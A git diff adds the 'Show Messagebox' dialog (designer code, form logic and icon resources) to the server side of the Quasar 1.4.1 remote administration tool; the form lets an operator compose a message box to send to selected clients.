/wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs new file mode 100755 index 0000000..c24fe64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -0,0 +1,192 @@ +namespace Quasar.Server.Forms +{ + partial class FrmShowMessagebox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmShowMessagebox)); + this.groupMsgSettings = new System.Windows.Forms.GroupBox(); + this.cmbMsgIcon = new System.Windows.Forms.ComboBox(); + this.lblMsgIcon = new System.Windows.Forms.Label(); + this.cmbMsgButtons = new System.Windows.Forms.ComboBox(); + this.lblMsgButtons = new System.Windows.Forms.Label(); + this.txtText = new System.Windows.Forms.TextBox(); + this.txtCaption = new System.Windows.Forms.TextBox(); + this.lblText = new System.Windows.Forms.Label(); + this.lblCaption = new System.Windows.Forms.Label(); + this.btnPreview = new System.Windows.Forms.Button(); + this.btnSend = new System.Windows.Forms.Button(); + this.groupMsgSettings.SuspendLayout(); + this.SuspendLayout(); + // + // groupMsgSettings + // + this.groupMsgSettings.Controls.Add(this.cmbMsgIcon); + this.groupMsgSettings.Controls.Add(this.lblMsgIcon); + this.groupMsgSettings.Controls.Add(this.cmbMsgButtons); + this.groupMsgSettings.Controls.Add(this.lblMsgButtons); + this.groupMsgSettings.Controls.Add(this.txtText); + this.groupMsgSettings.Controls.Add(this.txtCaption); + this.groupMsgSettings.Controls.Add(this.lblText); + this.groupMsgSettings.Controls.Add(this.lblCaption); + this.groupMsgSettings.Location = new System.Drawing.Point(12, 12); + this.groupMsgSettings.Name = "groupMsgSettings"; + this.groupMsgSettings.Size = new System.Drawing.Size(325, 146); + this.groupMsgSettings.TabIndex = 0; + this.groupMsgSettings.TabStop = false; + this.groupMsgSettings.Text = "Messagebox Settings"; + // + // cmbMsgIcon + // + this.cmbMsgIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgIcon.FormattingEnabled = true; + this.cmbMsgIcon.Location = new System.Drawing.Point(147, 107); + this.cmbMsgIcon.Name = "cmbMsgIcon"; + this.cmbMsgIcon.Size = new System.Drawing.Size(162, 21); + this.cmbMsgIcon.TabIndex = 8; + // + // lblMsgIcon + // + this.lblMsgIcon.AutoSize = true; + this.lblMsgIcon.Location = new System.Drawing.Point(42, 110); + this.lblMsgIcon.Name = "lblMsgIcon"; + this.lblMsgIcon.Size = new System.Drawing.Size(99, 13); + this.lblMsgIcon.TabIndex = 7; + this.lblMsgIcon.Text = "Messagebox Icon:"; + // + // cmbMsgButtons + // + this.cmbMsgButtons.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgButtons.FormattingEnabled = true; + this.cmbMsgButtons.Location = new System.Drawing.Point(147, 80); + this.cmbMsgButtons.Name = "cmbMsgButtons"; + this.cmbMsgButtons.Size = new System.Drawing.Size(162, 21); + this.cmbMsgButtons.TabIndex = 6; + // + // lblMsgButtons + // + this.lblMsgButtons.AutoSize = true; + this.lblMsgButtons.Location = new System.Drawing.Point(23, 83); + this.lblMsgButtons.Name = "lblMsgButtons"; + this.lblMsgButtons.Size = new System.Drawing.Size(118, 13); + this.lblMsgButtons.TabIndex = 5; + this.lblMsgButtons.Text = "Messagebox Buttons:"; + // + // txtText + // + this.txtText.Location = new System.Drawing.Point(60, 49); + this.txtText.MaxLength = 256; + this.txtText.Name = "txtText"; + this.txtText.Size = new System.Drawing.Size(249, 22); + this.txtText.TabIndex = 4; + this.txtText.Text = "You are running Quasar."; + // + // txtCaption + // + this.txtCaption.Location = new System.Drawing.Point(60, 21); + this.txtCaption.MaxLength = 256; + this.txtCaption.Name = "txtCaption"; + this.txtCaption.Size = new System.Drawing.Size(249, 22); + this.txtCaption.TabIndex = 2; + this.txtCaption.Text = "Information"; + // + // lblText + // + this.lblText.AutoSize = true; + this.lblText.Location = new System.Drawing.Point(24, 52); + this.lblText.Name = "lblText"; + this.lblText.Size = new System.Drawing.Size(30, 13); + this.lblText.TabIndex = 3; + this.lblText.Text = "Text:"; + // + // lblCaption + // + this.lblCaption.AutoSize = true; + this.lblCaption.Location = new System.Drawing.Point(6, 24); + this.lblCaption.Name = "lblCaption"; + this.lblCaption.Size = new System.Drawing.Size(51, 13); + this.lblCaption.TabIndex = 1; + this.lblCaption.Text = "Caption:"; + // + // btnPreview + // + this.btnPreview.Location = new System.Drawing.Point(181, 164); + this.btnPreview.Name = "btnPreview"; + this.btnPreview.Size = new System.Drawing.Size(75, 23); + this.btnPreview.TabIndex = 1; + this.btnPreview.Text = "Preview"; + this.btnPreview.UseVisualStyleBackColor = true; + this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click); + // + // btnSend + // + this.btnSend.Location = new System.Drawing.Point(262, 164); + this.btnSend.Name = "btnSend"; + this.btnSend.Size = new System.Drawing.Size(75, 23); + this.btnSend.TabIndex = 2; + this.btnSend.Text = "Send"; + this.btnSend.UseVisualStyleBackColor = true; + this.btnSend.Click += new System.EventHandler(this.btnSend_Click); + // + // FrmShowMessagebox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(349, 199); + this.Controls.Add(this.btnSend); + this.Controls.Add(this.btnPreview); + this.Controls.Add(this.groupMsgSettings); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmShowMessagebox"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Show Messagebox []"; + this.Load += new System.EventHandler(this.FrmShowMessagebox_Load); + this.groupMsgSettings.ResumeLayout(false); + this.groupMsgSettings.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupMsgSettings; + private System.Windows.Forms.ComboBox cmbMsgIcon; + private System.Windows.Forms.Label lblMsgIcon; + private System.Windows.Forms.ComboBox cmbMsgButtons; + private System.Windows.Forms.Label lblMsgButtons; + private System.Windows.Forms.TextBox txtText; + private System.Windows.Forms.TextBox txtCaption; + private System.Windows.Forms.Label lblText; + private System.Windows.Forms.Label lblCaption; + private System.Windows.Forms.Button btnPreview; + private System.Windows.Forms.Button btnSend; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs new file mode 100755 index 0000000..288cc89 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -0,0 +1,107 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmShowMessagebox : Form + { + private readonly int _selectedClients; + + public string MsgBoxCaption { get; set; } + public string MsgBoxText { get; set; } + public string MsgBoxButton { get; set; } + public string MsgBoxIcon { get; set; } + + public FrmShowMessagebox(int selected) + { + _selectedClients = selected; + + InitializeComponent(); + } + + private void FrmShowMessagebox_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Show Messagebox", _selectedClients); + + cmbMsgButtons.Items.AddRange(new string[] + {"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"}); + cmbMsgButtons.SelectedIndex = 0; + cmbMsgIcon.Items.AddRange(new string[] + {"None", "Error", "Hand", "Question", "Exclamation", "Warning", "Information", "Asterisk"}); + cmbMsgIcon.SelectedIndex = 0; + } + + private void btnPreview_Click(object sender, EventArgs e) + { + MessageBox.Show(null, txtText.Text, txtCaption.Text, + (MessageBoxButtons) + Enum.Parse(typeof (MessageBoxButtons), GetMessageBoxButton(cmbMsgButtons.SelectedIndex)), + (MessageBoxIcon) Enum.Parse(typeof (MessageBoxIcon), GetMessageBoxIcon(cmbMsgIcon.SelectedIndex))); + } + + private void btnSend_Click(object sender, EventArgs e) + { + MsgBoxCaption = txtCaption.Text; + MsgBoxText = txtText.Text; + MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); + MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private string GetMessageBoxButton(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "AbortRetryIgnore"; + case 1: + return "OK"; + case 2: + return "OKCancel"; + case 3: + return "RetryCancel"; + case 4: + return "YesNo"; + case 5: + return "YesNoCancel"; + default: + return "OK"; + } + } + + private string GetMessageBoxIcon(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "None"; + case 1: + return "Error"; + case 2: + return "Hand"; + case 3: + return "Question"; + case 4: + return "Exclamation"; + case 5: + return "Warning"; + case 6: + return "Information"; + case 7: + return "Asterisk"; + default: + return "None"; + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + 